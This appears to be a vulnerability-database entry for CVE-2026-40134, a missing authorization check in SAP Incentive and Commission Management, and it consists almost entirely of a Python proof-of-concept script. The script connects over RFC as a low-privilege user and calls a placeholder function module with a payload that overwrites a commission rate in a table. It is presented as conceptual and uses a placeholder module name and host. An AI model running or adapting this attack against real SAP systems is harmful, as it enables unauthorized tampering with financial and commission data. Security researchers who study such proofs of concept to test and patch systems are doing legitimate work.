CVE-2026-40134 SAP Incentive and Commission Management 授权检查不足漏洞

import pyrfc # This is a conceptual Proof of Concept for CVE-2026-40134. # It demonstrates how an authenticated low-privilege user might # invoke a vulnerable function module to update tables. # Configuration ASHOST = 'sap.target.example.com' SYSNR = '00' CLIENT = '100' USER = 'low_priv_user' PASS = 'password' try: # Create connection to the SAP system conn = pyrfc.Connection( ashost=ASHOST, sysnr=SYSNR, client=CLIENT, user=USER, passwd=PASS ) print("[+] Connected to SAP System") # The vulnerable remote-enabled function module (Placeholder name based on description) # In a real scenario, this would be the specific module lacking authorization checks. vulnerable_function = 'Z_ICM_VULN_UPDATE_TABLE' # Malicious payload: Parameters to update a table entry # Example: Updating a commission rate payload = { 'TABLE_NAME': 'ICM_COMMISSION_RATES', 'KEY_FIELD': 'ID_12345', 'NEW_VALUE': '999.99' } print(f"[*] Attempting to invoke function: {vulnerable_function}") # Invoke the function response = conn.call(vulnerable_function, **payload) print("[+] Function invoked successfully.") print(f"[+] Response: {response}") print("[!] Potential table update executed without proper authorization checks.") conn.close() except Exception as e: print(f"[-] Error: {str(e)}")